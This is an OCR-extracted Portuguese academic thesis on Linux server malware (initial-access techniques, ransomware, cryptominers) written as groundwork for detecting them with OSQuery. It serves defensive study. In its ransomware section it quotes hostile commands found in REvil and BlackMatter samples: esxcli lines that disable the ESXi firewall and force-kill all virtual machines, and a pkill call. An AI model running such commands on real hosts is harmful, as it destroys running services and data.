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Resumo

A adogdo de Linux como sistema operacional para servidores em empresas de diversos por-
tes acompanha a mudanca de cendrio das ameacas cibernéticas, que também passam a tratar
este novo utilitdrio como alvo por meio da producdo de malwares especializados. Este trabalho
busca explorar as principais ameacas a servidores Linux e analisar as capacidades de identifica-
cdo de seus comportamentos pelo OSQuery, uma ferramenta multiplataforma open-source de
consultas a informacdes de estado do sistema operacional. Foram realizadas simula¢des de ata-
ques a um ambiente controlado, testadas multiplas possibilidades de deteccao para cada cendrio
e analisados seus respectivos impactos nos recursos de maquina. Ficou evidente a eficicia do
OSQuery que, acompanhado da implementacdo de procedimentos prévios de reconhecimento
do ambiente e mapeamento dos cendrios de risco, € capaz de rapidamente apontar situagdes de

risco ao sistema.

Palavras-chave: Malware, Detecc¢io e Resposta, OSQuery, Open-source, Linux
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Abstract

The adoption of Linux as an operating system for servers in companies of different sizes
follows the changing scenario of cyber threats, which also start to treat this new utility as a target
through the production of specialized malware. This work seeks to explore the main threats to
Linux servers and analyze the capabilities of OSQuery (an open source cross-platform tool to
query operating system state information) in identifying its behavior. Attack simulations on a
controlled environment were performed, multiple detection possibilities were tested for each
scenario and their respective impacts on machine resources were analyzed. The effectiveness
of OSQuery was evident, which, accompanied by the implementation of previous procedures
for recognizing the environment and mapping risk scenarios, is capable of quickly pointing out

risk situations to the monitored system.

Keywords: Malware, Detection and Response, OSQuery, Open-source, Linux
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Capitulo 1

Introducao

New Linux malware families, 2010-2020

Number of new Linux malware families per year (Source: Intezer)
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Figura 1.1 Evolucdo do nimero de novas familias de malwares dedicados a exploracdo de servidores
Linux descobertas por ano entre 2010 e 2020 [1].

Em paralelo com diversas ameagas cibernéticas que buscam o comprometimento de equipa-
mentos de uso pessoal (em especial dispositivos Windows), observa-se, nos dltimos anos, uma
crescente onda de ataques a servidores Linux [2] que acompanha a forte adocdo da industria
de software ao uso de computagdo em nuvem, onde predomina a presenca de hosts de diver-
sas distribuicdes Linux [3][4]. Atualmente, de acordo com dados da W3Techs [5], no ranking

de um milhdo de websites mais populares, cerca de 41,5% destes estdo sendo hospedados em
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servidores cujo sistema operacional € baseado em Linux. Em adi¢do, de acordo com a RedHat
em um estudo de 2019 [6], cerca de 54% de todas as aplicacOes executadas em infraestruturas
de cloud publica sdo hospedadas em maquinas virtuais Linux. Esta ado¢do vem acompanhada
de uma alta nos ciberataques direcionados a servidores Linux [7], como apresentado na fi-
gura 1.1. Sendo assim, o estudo de préticas para detec¢do de comportamentos maliciosos em
tais ambientes € de suma importancia para se minimizar a0 maximo o dano causado por tais
ameacas, seu impacto nos negocios de diversos ramos ou até se impedir que ocorram ataques
as infraestruturas empresariais, através da ripida identificacio de comprometimento de seus
sistemas.

Ao decorrer deste trabalho, serdo utilizadas muitas referéncias classificadas como literatura
cinzenta, ou seja, contetidos publicados em meios nao oficiais (em sua maioria, neste trabalho,
blogs técnicos e outros websites especializados em seguranca da informacao) e que ndo seguem
o pipeline convencional de revisao de pares para a publicacdo. Isto se da por conta do imedi-
atismo caracteristico de topicos relacionados a tendéncias de seguranca da informacao, pois,
assim como na engenharia de software, o compartilhamento online de conhecimento por parte
de engenheiros possibilita a outros profissionais e pesquisadores a facil consulta de informagdes
atualizadas sobre diversas temadticas [8]. Para além de noticias a respeito dos acontecimentos
utilizados para exemplificar praticas mencionadas neste trabalho, também serdo referenciados
publicagdes técnicas em plataformas e websites especializados que realizam andlises compor-
tamentais de softwares maliciosos e outras paginas com descricdes e conceitos pertinentes a

este trabalho.

1.1 Objetivos

Este trabalho tem como objetivo sumarizar, através de pesquisas bibliogréficas descritas
posteriormente, as principais ameagas cibernéticas (previamente conhecidas e/ou emergentes)
a servidores Linux corporativos, bem como seus comportamentos mais notorios em sistemas
operacionais e também taticas eficazes para deteccdo destas ameacas.

Em adic¢do, objetiva-se realizar a replicacdo destas técnicas de detec¢do de forma pratica
utilizando-se o OSQuery, apresentado a seguir, como interface humano-maquina. Ou seja,
objetiva-se a criacdo de artefatos de software, em forma de conjuntos de queries SQL a se-
rem executadas pelo OSQuery, que sejam capazes de performar, com sucesso e baixo consumo
de recursos de maquina, algumas das técnicas enumeradas previamente, de modo a auxiliar
equipes de Seguranca da Informacdo a detectar e responder rapidamente a possiveis compro-

metimentos da sua infraestrutura local. Este auxilio pode se dar por meio do envio de alertas de
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ferramentas de SIEM condicionados ao resultado das execugdes das queries produzidas neste
trabalho.

1.2 Estrutura do Trabalho

Primeiramente, este trabalho realiza, nas sessdes 2.1 e 2.2, uma revisdo e apresentacao
das principais técnicas utilizadas por agentes maliciosos para a realizacdo do primeiro acesso
a um dispositivo. Neste momento, serd utilizada como base a matriz MITRE ATT&CK [9],
uma colecdo de técnicas utilizadas por diversos agentes maliciosos introduzida na secao 2.1.
Esta apresentacdo visa introduzir o leitor ao conceito de técnicas, taticas e procedimentos, aos
diferentes comportamentos apresentados por ameacas reais e exemplos de casos de grande
notoriedade na comunidade de seguranca cibernética internacional.

Em seguida, na sessdo 2.3, como parte integrante do topico principal deste trabalho, sdo
apresentadas as principais ameacas a servidores Linux, com uma detalhada descri¢cdo de cada
tipo e enumeracdo de caracteristicas comportamentais de seus processos de execucao em dis-
positivos infectados bem como sugestdes de deteccdo destas caracteristicas.

Mais adiante, ja no capitulo 4, sdo simulados cendrios de ataques utilizando ferramentas que
emulem os comportamentos das ameacas citadas anteriormente e, em paralelo, sdo propostas
queries SQL, executadas a partir do OSQuery, que possam retornar informagdes que eviden-
ciem a execugdo dos agentes maliciosos. Ao fim de cada cendrio, sdo avaliados os resultados
das queries executadas.

Finalmente, no capitulo 5, € realizado um apanhado geral do trabalho e enumeradas suges-

toes de proximos passos do desenvolvimento deste.



Capitulo 2

Fundamentacao

2.1 Matriz MITRE ATT&CK

Como mencionado anteriormente, uma importante enumeracao de técnicas utilizadas por
agentes maliciosos é a matriz MITRE ATT&CK [9]. Esta matriz originou-se em 2013 a partir
de um conjunto de documentacdes de tdticas, técnicas e procedimentos (TTPs) utilizadas em
ataques a redes corporativas de hosts Windows. Tais TTPs foram identificados pelo grupo de
pesquisa da Mitre Corporation, uma organizagdo sem fins lucrativos que realiza a geréncia de
centros de pesquisa e desenvolvimento que prestam servicos a diversas agéncias governamen-
tais dos EUA nos ramos de aviacdo, defesa, satide, seguranga interna e seguranca cibernética,
entre outros [10]. Hoje, com a evolucdo das pesquisas e coletas de informacdes, a matriz
MITRE ATT&CK pode ser aplicada a dispositivos Windows, MacOS, Linux, dispositivos de
infraestrutura de rede, tecnologias de Containers, entre outros.

A matriz apresenta colunas referentes a cada fase de uma invasdo de dispositivo eletro-
nico, que vao desde reconhecimento (mapeamento da superficie de ataque) e acesso inicial
até movimento lateral (infec¢do de outros ativos em uma mesma rede), comando e controle
(estabelecimento de conexdo do alvo com outros ativos de controle do atacante) e exfiltracdo
(roubo e exportacdo de dados do alvo para ativos de controle do atacante). Nas linhas de cada
coluna sdo enumeradas as diversas técnicas utilizadas por um atacante para obter sucesso na
correspondente fase da invasdo, como por exemplo phishing e comprometimento da cadeia
de suprimentos, para a fase de acesso inicial ou criacdo de contas e sequestro de fluxos de

execugdo para a fase de persisténcia.
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2.2 Técnicas Utilizadas Para o Acesso Inicial

Apesar de cada classificacdo de malware possuir caracteristicas proprias durante seu pro-
cesso de atuagdo em um host, as fases iniciais de ataques a dispositivos sdo, em grande parte,
compartilhadas entre diversos tipos de ameacas. Portanto, de acordo com a tabela ATT&CK [9],
a seguir sdo listadas as técnicas que podem ser utilizadas por atores maliciosos para o acesso

inicial (infec¢ao) de um host:

2.2.1 Drive-by Compromise

Esta técnica [11] se utiliza da interacdo de um usudrio com algum servigo malicioso em
controle do atacante, como por exemplo um website que explora uma vulnerabilidade de exe-
cucdo arbitréria de c6digos em navegadores de versdes especificas. Neste exemplo, o usudrio
ndo percebe que, apenas ao visitar a pagina maliciosa, seu dispositivo ja estd comprometido e
0 atacante j4 possui algum nivel de acesso aos seus sistemas.

Um exemplo prético de uso desta técnica foi detectado em 2017 [12], quando o grupo deno-
minado Andariel (supostamente financiado pelo Governo Norte-Coreano) utilizou-se de uma
vulnerabilidade no componente ActiveX para Internet Explorer que permite a criacdo de arqui-
vos JavaScript ou VBScript no dispositivo da vitima. Estes arquivos, entdo, eram acessados

silenciosamente pelo browser e realizavam o download de um backdoor nos sistemas-alvo.

2.2.2 Exploit Public-Facing Application

Esta técnica [13] se utiliza de vulnerabilidades em sistemas acessiveis pela internet, seja
por mé-configuracdo, desatualizagdo ou falha no desenvolvimento. Para o caso especifico de
aplicagdes web, pode-se ser utilizado o OWASP Top 10 [14] (ranking de principais problemas
de seguranca encontrados em aplicacdes web) como referéncia para exemplificar quais sdo as
falhas de seguranca mais presentes e exploradas por atores maliciosos nestes sistemas. Exem-
plos encontrados na lista sdo: Broken Access Control (0 sistema ndo segrega corretamente 0s
privilégios de cada usudrio), Injection (o sistema possui pontos de entrada de dados controla-
dos pelo usudrio e ndo faz o correto filtro destes inputs, permitindo assim que um usudrio mal
intencionado realize injecdo de HTML, JavaScript ou SQL, por exemplo), entre outros.

Um exemplo pratico de uso desta técnica € o caso do grupo Iron Tiger [15], um conjunto de
atores maliciosos que, em 2019, foi flagrado realizando ataques a organiza¢des governamentais,
provedores de telecomunicagdes e bancos do Oriente Médio e Sudeste Asidtico por meio da

exploracido de uma vulnerabilidade conhecida em servidores Microsoft Exchange denominada
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CVE-2020-0688. Esta falha permite que um atacante force o referido servidor a desserializar
um objeto malicioso e executar cddigos .NET com privilégios totais na maquina em que esta
instalado. [16]

2.2.3 Hardware Additions

Diferentemente de procedimentos anteriores, esta técnica [17] se utiliza da adi¢ao de dis-
positivos de hardware aos sistemas ja existentes ou a rede em si. Exemplos de adi¢do maliciosa
de hardware a sistemas ja presentes em uma rede sdo os Bad USBs, como por exemplo o Rub-
ber Ducky [18]: um dispositivo USB que se assemelha a um pendrive mas que se trata de um
Human Interface Device, ou seja, um dispositivo que € interpretado pelo sistema operacional
do host como um teclado. Portanto, assim que plugado em uma interface USB, o dispositivo
automaticamente insere entradas de teclado na mdquina alvo e é capaz de executar acdes com-
plexas (como garantir ao atacante um acesso remoto e persistente ao dispositivo da vitima) em
poucos segundos.

Para o caso de adi¢do de novos dispositivos a rede alvo, pode-se citar o caso DarkVishnya,
em que, no ano de 2018, “pelo menos oito bancos na Europa Oriental foram alvos de ataques
(...), que causaram danos estimados em dezenas de milhdes de délares” [19]. Neste ocorrido,
um atacante disfarcado deslocava-se fisicamente ao prédio das instituicdes e realizava a insta-
lag@o de dispositivos maliciosos, como o microcomputador Raspberry Pi, em ambientes onde
ndo levantassem suspeitas (como salas de reunido, por exemplo). O dispositivo servia como
um ponto de acesso dos criminosos a rede local e era utilizado para performar escaneamentos

de rede e outros ataques.

2.2.4 Phishing

De conceito e nomenclatura bastante conhecidos, a técnica de “pescaria” [20] envolve a per-
suasdo do fator humano para a coleta de informagdes sensiveis (como credenciais de acesso)
ou até mesmo execu¢do do malware no ambiente alvo. Existem diversas variagdes deste tipo
de engenharia social, como o Spearphishing Link [21], que trata-se do envio de mensagens
contendo links para pdginas que replicam sistemas oficiais, como péginas de login de redes
sociais ou outros sistemas corporativos, € buscam por capturar credenciais ou enganar quem
acessa para que sejam baixados e executados arquivos maliciosos nos seus sistemas. Esta téc-
nica € bastante util para se burlar protecdes mais bésicas de sistemas de e-mail, ao contrario da
Spearphishing Attachment [22], que consiste no envio dos anexos maliciosos diretamente nas

mensagens eletronicas. E importante ressaltar que tais anexos ndo sdo exclusivamente arquivos
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executdveis, mas também quaisquer tipos de arquivos que possam explorar vulnerabilidades de
“execucao de codigo arbitrario” no dispositivo atacado.

Exemplos praticos deste tipo de Phishing foram identificados no inicio de Junho de 2022,
apos a divulgacdo da vulnerabilidade CVE-2022-30190 (conhecida como Follina) [23][24] que,
em resumo, permite que sejam executados codigos maliciosos em dispositivos Windows ao se
abrir um arquivo .doc ou .docx especialmente construido (ou apenas ao se visualizar a miniatura
do documento, para o caso de arquivos .rff). Um grupo de cibercriminosos supostamente
ligados ao governo chinés (conhecido como TA413) foi flagrado disfarcado de membros do
governo Tibetano em ataques a esta mesma comunidade através do envio de documentos Word
maliciosos em arquivos .ZIP que tinham como objetivo a instalagdo de programas de captura

de credenciais nos dispositivos [25].

2.2.5 Replication Through Removable Media

Semelhante a técnica de Hardware Addition, citada anteriormente, esta técnica [26] também
exige a presenga fisica do atacante no ambiente a ser atacado. Como o proprio nome sugere,
a referida tatica faz uso de features de execucdo automadtica de programas em dispositivos de
armazenamento removivel (como pendrives e cartdes SD). Esta estratégia pode ser bastante til
em casos de ataques a sistemas isolados, ou seja, inacessiveis via rede externa.

Sao diversos os exemplos de ameacas que comportam-se desta maneira, uma destas € um
software de acesso remoto conhecido como Crimson RAT [crimson], que vem sendo utilizado
desde 2013 por um grupo cibercriminoso especializado conhecido como Transparent Tribe
e, entre outros moddulos, possui um (chamado USB Worm) especifico para prover sua auto
replicagdo para dispositivos de armazenamento removivel e posterior instalagdo em sistemas

nos quais estes dispositivos forem inseridos.

2.2.6 Supply Chain Compromise

O comprometimento de Cadeia de Suprimentos [27] consiste no ataque a componentes que
apresentam-se anteriores ao produto final consumido pelos usudrios, como cédigos de depen-
déncias de software, ferramentas ou ambientes de desenvolvimento e entrega do produto final
(com o objetivo de fornecer aos usudrios atualizacdes maliciosas de softwares ja instalados ou
versoes alteradas de novos programas). A cadeia de suprimentos pode ser comprometida ndo
apenas por atacantes externos, como também pelos proprios desenvolvedores de seus compo-
nentes. Situagdes como esta foram registradas no inicio de 2022 quando, motivados pela guerra

entre Russia e Ucrania, desenvolvedores de /ibs utilizadas por milhares de projetos em JavaS-
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cript realizaram os chamados “protestwares”, que consistiram no release de novas versdes de
seus projetos que nao adicionavam funcionalidades pertinentes aos seus c6digos, mas sim 0s
faziam passar a exibir mensagens pr6é Ucrania nos projetos nos quais eram importados [28].
Um exemplo de grande notoriedade da prética deste tipo de técnica ocorreu entre o fim de
2019 e no decorrer de 2020 e 2021, quando a SolarWinds, uma grande fornecedora de softwares
do mercado global, sofreu um ataque em que seu ambiente de desenvolvimento e delivery
de solugdes foi comprometido. Com esta invasdo, os atacantes conseguiram enviar updates
maliciosos do produto Orion contendo cédigos de instalacdo de backdoors aos servidores dos
diversos clientes da SolarWinds. Centenas de clientes, incluindo empresas como Microsoft,
Intel, Cisco, Deloitte e 6rgaos do governo Americano, instalaram o update malicioso e sofreram

impactos de gravidades diversas em suas infraestruturas. [29][30]

2.2.7 Trusted Relationship

O comprometimento das Relacdes de Confianca [31] assemelha-se ao uso de Contas Vali-
das, citado a seguir. Neste caso, trata-se do comprometimento de sistemas corporativos a partir
de terceiros que possuam acessos a estes. Diversas sdo as possibilidades de profissionais, equi-
pes ou companhias terceirizadas que t€ém acessos a sistemas importantes em redes corporativas,
como, por exemplo, companhias que prestam servigos de suporte de Tecnologia da Informacgao,
provedores de infraestrutura, entre outros.

Um caso que exemplifica a pratica deste tipo de tdtica ocorreu em 2016, quando uma equipe
de invasores, supostamente financiada pelo governo Russo, conseguiu acesso a equipamentos
da rede interna do Comité de Campanha Democratica do Congresso dos Estados Unidos da
América (DCCC) e, posteriormente, utilizou-se deste acesso para comprometer a rede do Co-
mit€ Democrata Nacional daquele pais (DNC). Com estes acessos, 0s criminosos obtiveram
sucesso em monitorar e realizar a exfiltragdo de e-mails, materiais de campanha e outros docu-

mentos internos destes 6rgaos. [32]

2.2.8 Valid Accounts

Por fim, a técnica de utilizacdo de Contas Vilidas [33] realiza a utiliza¢do de credenciais
legitimas de acesso (obtidas de maneira ilicita, na maioria dos casos, ou abusadas por seus
utilizadores genuinos) para o comprometimento de sistemas. Este tipo de prética pode ocorrer
através do roubo de credenciais(utilizando-se técnicas como phishing, instalacao de keyloggers,
acesso indevido a base de dados, entre outros) ou do uso de credenciais do uso de credenciais-

padrdo dos sistemas (em casos de ma configuragdo), por exemplo.
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Situaces como esta foram identificadas ocorrendo no Brasil em pelo menos dois casos de
grande notoriedade. O primeiro, ocorrido ao final de 2021, apresenta evidéncias desta tatica
juntamente com o comprometimento das Rela¢des de Confianga, citado anteriormente. Cerca
de 6% dos restaurantes cadastrados na plataforma iFood, aproximadamente dezesseis mil e
duzentos, tiveram seus nomes alterados para frases de ofensa a figuras publicas da politica
nacional. Posteriormente, a companhia informou que o ataque aconteceu através de um funcio-
ndrio terceirizado que possuia acessos para realizar tais edi¢des na plataforma e o fez de forma
indevida [34]. O segundo caso ocorreu no mesmo periodo, quando foi identificada a venda
online de credenciais de acesso a sistemas relacionados ao Ministério da Satde. Credenciais
validas do CadSUS permitem que o usudrio realize a edi¢do de dados de qualquer cidadao Bra-
sileiro nos sistemas do Sistema Unico de Satde (incluindo nomes de familiares, tipo sanguineo
e até declarag@o de nascimento ou 6bito). J4 aquelas do E-SUS, vendidas por valores menores,

sdo utilizadas para consultas destes e outros dados dos cidadaos [35].
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2.3 Técnicas Utilizadas Durante a Infeccao

Apresentadas as técnicas utilizadas por ameacas para infec¢do de ativos, este € 0 momento
de separar as especificidades de cada tipo de malware durante o processo de atuaciao no host ja
infectado (etapa explorada neste trabalho). De acordo com a equipe de Anélise de Ameacas da
VMWare, em estudo recente a respeito das principais ameagas a servidores Linux em ambientes
multi-cloud [36], estes softwares maliciosos que podem ser agrupados em trés classificagdes
mais evidentes: ransomware, criptomineradores e ferramentas de acesso remoto (RAT, remote
access tools ou remote access trojans). Esta mesma divisdao de categorias serd utilizada neste

trabalho.

2.3.1 Ransomware

Malwares classificados como Ransomware sao aqueles cujo comportamento principal € o
sequestro de alguma(s) funcionalidades(s) de dispositivos eletronicos e a exigéncia de paga-
mento de resgate pelo restabelecimento destas funcionalidades [37]. Com a popularizacdo das
criptomoedas, juntamente com sua possibilidade de transferéncia anonima de recursos finan-
ceiros, 0 modelo de negdcio conhecido como Ransomware As A Service surgiu e ganhou espago
no cibercrime [38].

Neste modelo, o software malicioso e a infraestrutura necessdria para sua operagao sao
vendidas ou alugadas pelos operadores a pessoas (ou grupos) chamados de afiliados. Apds
o fechamento do “contrato” entre estas partes, os afiliados sdao responsdveis por identificar e
realizar o acesso aos sistemas-alvo, especificar valores de resgate e se comunicar com as viti-
mas através, principalmente, de servigos de chat andnimos, enquanto os operadores provém a
infraestrutura onde sao hospedados os servicos de comando e controle dos softwares distribui-
dos, portais de pagamento, painéis de administracdo de ameacgas, servicos para armazenamento
e possivel vazamento de dados das vitimas, entre outros. Para cada ataque bem sucedido (ou
seja, nos quais o pagamento do resgate foi realizado), os operadores recebem o valor total e
repassam uma parcela aos afiliados responsaveis por aquela operagcdo. Sendo assim, organiza-
¢Oes criminosas dessa natureza estdo cada vez maiores, mais numerosas e realizando ataques

bastante danosos a alvos cuidadosamente selecionados [39].

2.3.1.1 Principais Grupos de Ransomware

Alguns dos grupos de malwares deste tipo sdo [36]:

* REvil: Grupo que encerrou suas atividades em Janeiro de 2022 ap6s a prisdo de seus
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membros pelas forcas policiais russas [40];

* DarkSide: Grupo que surgiu em Agosto de 2020 e encerrou suas operacdes em Maio
de 2021, retornando posteriormente, em Julho do mesmo ano, passando a nomear-se
BlackMatter. Encerrou suas atividades em Novembro de 2021, apds a descoberta de uma

falha que possibilitou a reversao das encriptacdes de arquivos [41];

* Defray777: Grupo responsavel pelos ataques ao Tribunal de Justica de Pernambuco, em
Outubro de 2020, Superior Tribunal de Justica, em novembro do mesmo ano [42] e lojas
Renner, em Agosto de 2021 [43];

* LockBit: Grupo cujo Brasil € o terceiro pais com mais vitimas de ataques [44] e que,
em outubro de 2021, passou a explorar também servidores Linux, em especial aqueles

destinados a virtualizacdo [45];

2.3.1.2 Performance de um Ataque de Ransomware

Um importante fator a se levar em conta no processo de detec¢do de uma infec¢dao por
ransomware € o tempo necessdrio para que seja realizada a encriptacdo completa dos arquivos-
alvo no sistema comprometido, pois, logicamente, quanto mais rapida seja feita a identificacao
do comprometimento, menor € o impacto sofrido pelo host. De modo a quantificar este valor,
uma tabela divulgada pelo préprio grupo LockBit, em seu website na rede Tor [46], registra os
valores obtidos em supostos testes de bechmark realizados entre diversas variantes do malware.

Na tabela 2.1, é apresentado um recorte dos nimeros apresentados no website citado e sdao
destacados os valores correspondentes as duas versdes do LockBit, que utilizam uma combi-
na¢do dos algoritmos de Advanced Encryption Standard (AES) e Elliptic-Curve Cryptography
(ECC) para a realizagdo da cifragem de dados a uma taxa média de 266 MB/s e 373 MB/s res-
pectivamente. E importante ressaltar que tais valores foram encontrados em testes realizados
em uma maquina Windows Server 2016, como apontado na prépria pagina [46].

Em busca de validar tais nimeros, uma equipe de pesquisadores da Splunk [47] realizou
um experimento similar utilizando-se 10 grupos diferentes de ransomware (a saber: LockBit,
Babuk, Avaddon, Rayuk, rEvil, BlackMatter, Darkside, Conti, Maze e Mespinoza). Em dife-
rentes ambientes Windows, foram coletados cerca de 53GB de arquivos de formatos entre PDF,
DOC, XLS entre outros para a realizacdo dos testes. Os resultados podem ser conferidos na
tabela 2.2.

Ainda que tais valores sejam identificados em hosts Windows, os nimeros indicam uma
caracteristica importante sobre este tipo de ameaca: Ataques com versdes avancadas de ran-

somware conseguem realizar encriptacdo de arquivos a uma taxa média de 10 GB por minuto
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Name of the ransomware Sp eelc)lelrnsgi)i i})ytes Time spg;tl (f)(())r Ce}rllgcryp tion Self spread
LOCKBIT 2.0 373 MB/s 4M 28S Yes
LOCKBIT 266 MB/s 6M 16S Yes
Cuba 185 MB/s oM No
BlackMatter 185 MB/s oM No
Babuk 166 MB/s 10M Yes
Sodinokibi 151 MB/s 1IM No
Ragnar 151 MB/s 11M No
NetWalker 151 MB/s 1IM No
MAKOP 138 MB/s 22M No
RansomEXX 138 MB/s 22M No
Tabela 2.1 Recorte de tabela de performance de diferentes variantes de ransomware, por LockBit 2.0
[46]
Familia Duraciao Mediana
LockBit 00:05:50
Babuk 00:06:34
Avaddon 00:13:15
Ryuk 00:14:30
Revil 00:24:16
BlackMatter 00:43:03
Darkside 00:44:52
Conti 00:59:34
Maze 01:54:33
Mespinoza (PYSA) 01:54:54
Média das Duracoes Medianas 00:42:52

Tabela 2.2 Comparativo entre tempos de criptografia de variantes de Ransomware, por SPLUNK [47]

de forma reversivel apenas mediante pagamentos de altos valores. Dados de 2020 [48] revelam

que o valor médio de um pedido de resgate dos operadores do LockBit esta proximo de US$

33 mil, com picos de até US$ 54 mil.

2.3.1.3 Caracteristicas de um Ataque de Ransomware

Um aspecto encontrado em diversos grupos de ransomware baseados em sistemas Linux,

ainda que trivial, merece atencdo: Nem todos os diretorios do sistema sdo alvos de encriptacao

por parte da ameaca, pois muitos deles guardam arquivos que, em caso de corrupg¢ao, tornariam

o sistema completamente inutilizavel (algo que € evitado na maioria dos ataques “comerciais”,

pois o objetivo tende a ser mais financeiro que operacional). Sendo assim, arquivos presentes
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em diretdrios tais quais /proc, /bin, /usr/bin e /1ib sdo explicitamente evitados nos
codigos destes programas [36].

Para o caso especifico de servidores dedicados a virtualizacdo através do VM Ware Hyper-
visor (VMware ESXi), foi notada a execucdo do comando localizado via /sbin/esxcli para a
interrupcao do funcionamento de ambientes virtualizados e sua posterior encriptacdo de disco.
Portanto, a detec¢cdo de execugdo deste comando em momentos sem acesso direto de operado-
res do servidor pode ser um indicativo de infec¢do [36]. Como exemplo, a figura 2.1 (trecho
da andlise estatica do codigo-fonte de um executdvel do malware REvil, em sua variante para

Linux, disponivel em [49]) aponta a presenca do referido comando no cédigo.
Strings

Show entries

STRINGS

Error decoding sub_id %d

Error decoding note_body %d

jsonixt

Error no json file!

uname -a && echo " | " && hostname

fatal error, no cfg!

pkill -8 %s

esxcli --formatter=csv --format-param=fields=="WorldID,DisplayMame” vm process list | awk -F ™" \"*" [system("esxcli vm process kill --type=force --world-id="$1}}'
. killing %s

Error create note in dir %s

SHOWING 121 TO 130 OF 183 ENTRIES

Figura 2.1 Anidlise de executdvel do REvil para Linux [49]

De forma mais pontual, utilizando dados obtidos através da enciclopédia de ameagas da
Trend Micro [50], podemos identificar alguns comportamentos caracteristicos de certos grupos
de malware, como por exemplo:

A familia BlackMatter [51] € caracterizada pela criacdo de um arquivo localizado em
/tmp/main.log e, como citado anteriormente para o caso de sistemas de virtualizacdo, cria
processos com as seguintes linhas de comando de modo a desabilitar softwares de firewall de
ambientes virtualizados e finalizagdo destes mesmos ambientes, o que acarreta na finalizacao

de processos legitimos, como o vmsyslogd:
esxcli network firewall set —--enabled false

esxcli vm process kill —--type=force --world-id {ID}
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Ainda se tratando da familia BlackMatter, porém nao exclusivamente: algumas conexdes
de rede sdo abertas para enderecos externos com a intenc¢do de roubo e armazenamento de da-
dos internos do sistema atacado. Este comportamento tem se apresentado em diversos grupos
modernos de ransomware e tem o objetivo de tornar o processo de extorsao ainda mais efetivo
através da ameaca de publicacdo das informagdes obtidas durante o ataque [52]. Além disso,
como apresentado na tabela 2.1, algumas variagdes de malware também possuem capacidades
de auto propagacao na rede, através de scans automaticos de IPs internos e tentativas de explo-
racdo de diversas vulnerabilidades nas maquinas encontradas, de modo a espalhar a infec¢ao
ao maior nimero de hosts possivel, como é o caso do ransomware Satam [53]. Portanto, o
monitoramento das conexdes de rede abertas por processos do sistema também pode auxiliar
na detec¢do de infeccao.

Ao final de 2021, foi identificada [54] uma nova variante da familia Cerber (existente
desde 2016 [55], quando atacava dispositivos pessoais Windows) que, nesta onda de ataques,
tem como alvos servidores Linux de GitLab expostos a internet e vulnerdveis a CVE-2021-
22205 [56], uma vulnerabilidade critica no componente de manipulagdo de arquivos de ima-
gem (ExifTool) do GitLab que pode acarretar em execucao arbitraria de c6digos no servidor
a partir de um usudrio ndo autenticado. Andlises de amostras de tal malware [57] permi-
tiram a identificacdo de comportamentos caracteristicos de sua rotina: Criacdo do arquivo
/tmp/.x11-nix—-eYu6H3 e sua posterior remocdo, encriptagdo de arquivos encontrados
nos diretdrios

/var/opt/gitlab/backups, /var/opt/gitlab/gitlab-rails/sharede
/var/opt/gitlab/git-data, resultando em novos arquivos com extensdo .locked e cri-
acdo de arquivos com especificacdes de resgate nomeados como

___S$SRECOVERY_READMESS___.html em diretdrios de Desktop e demais diretérios en-
criptados.

Levando-se em conta o que foi mencionado, é vélido salientar que, mesmo que grupos
diferentes de ransomware possuam comportamentos e rotinas peculiares durante seu processo
de infeccdo, o monitoramento de eventos no sistema de arquivos, de novas conexdes de rede
abertas e de processos e threads geradas pode se mostrar suficiente para a rdpida identificacao

de um ataque relacionado a este tipo de ameacga em servidores Linux.
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2.3.2 Criptomineradores

Malwares denominados criptomineradores, também conhecidos como cryptojacking malware,
sdo aqueles dedicados ao sequestro e abuso de recursos de processamento de servidores para a
mineragdo de criptomoedas. Ataques desse tipo tornaram-se comuns, ndo surpreendentemente,
com a ascensdo e popularizagido de cripto ativos como o Bitcoin e, principalmente, Monero
[58][36]. De acordo com dados da SonicWall [59]: “Em 2021, o ndmero de tentativas de cryp-
tojacking subiu para 97 milhdes, um aumento de 19% ao ano e uma média de 338 tentativas de
cryptojacking por rede de cliente”, tendo a infeccdo ocorrido através de ataques como phishing
com links maliciosos para paginas contendo scripts de mineracao que sdo executados no nave-
gador da vitima, malvertising (utilizagdo de antincios maliciosos para propagacao do malware),
softwares pirateados e exploracdo de vulnerabilidades em servidores expostos a internet.

Ainda em 2021, equipes da prépria SonicWall identificaram [60] ataques de softwares ma-
liciosos a servidores de cloud computing da Alibaba Cloud, quarta maior companhia do seg-
mento, que tém o objetivo de, apds desabilitar servicos nativos de protecao dos servidores e
desligar processos que possam concorrer por recursos de CPU, realizar o download e instala-
¢do do XMRig Miner, uma popular ferramenta open-source de mineracio de cripto ativos em
alta performance utilizada por cerca de 89% das variantes de malwares destinados ao crypto-
jacking [36].

Diferentemente de ataques de ransomware, os criptomineradores operam, em sua maioria,
de forma silenciosa e ndo causam danos imediatos e em grandes propor¢des as vitimas. Porém,
o0 alto consumo de recursos de CPU e GPU podem, por vezes, ocasionar sintomas como lentidao
de processamento em tarefas legitimas, aumento no custo energético de fazendas de servidores
ou até, em casos extremos, indisponibilidade de servigcos devido a concorréncia pela utilizagdao

de recursos.

2.3.2.1 Principais Familias de Criptomineradores

Algumas das principais familias de malwares criptomineradores sdo [36]:

* TeamTNT: Ameaca conhecida por realizar ataques a pods Kubernetes e deployments

Docker desprotegidos com o objetivo de instalar versdes alteradas do XMRig Miner [61];

* WatchDog: Um dos maiores e mais duradouros malwares de mineracdo de Monero,
existente desde 2019, responsdvel pelo comprometimento de mais de 470 sistemas e

minera¢do de ao menos 200 unidades de Monero até 2021 [62];

* Sysrv: Botnet auto propagante e multiplataforma escrita em Go, identificada ao final de
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2020. Além de realizar escaneamentos por vulnerabilidades para a realizacao do primeiro
acesso, também busca chaves SSH nos hosts infectados para realizar sua propagac¢ao
[63];

E importante ressaltar que os criptomineradores (ou cryptojackers) sao diferentes de malwa-
res dedicados a roubar informagdes privadas de carteiras de criptomoedas. Embora estas sejam
as abordagens mais comuns em ataques relacionados a criptoativos, sdo completamente dife-

rentes entre si.

2.3.2.2 Tipos de Ataques com Criptomineradores

E possivel se caracterizar os ataques de cryprojacking em trés tipos principais [64]: In-
browser Cryptojacking, In-host Cryptojacking e In-Memory Cryptojacking.

Ataques do tipo In-browser sdo aqueles nos quais sdo inseridos, de forma silenciosa e ofus-
cada, scripts de mineracdo em paginas web que se utilizam do poder de processamento dos
browsers dos usudrios para realizar a mineracdo de criptoativos. O tempo médio para que a
mineracio in-browser passe a produzir uma receita de interesse dos controladores € de, apro-
ximadamente, 5 minutos e 50 segundos [65]. Portanto, este tipo de abordagem torna-se mais
comum em sites dedicados a pirataria de filmes e séries, fornecimento de jogos online e outras
atividades de maior duracao.

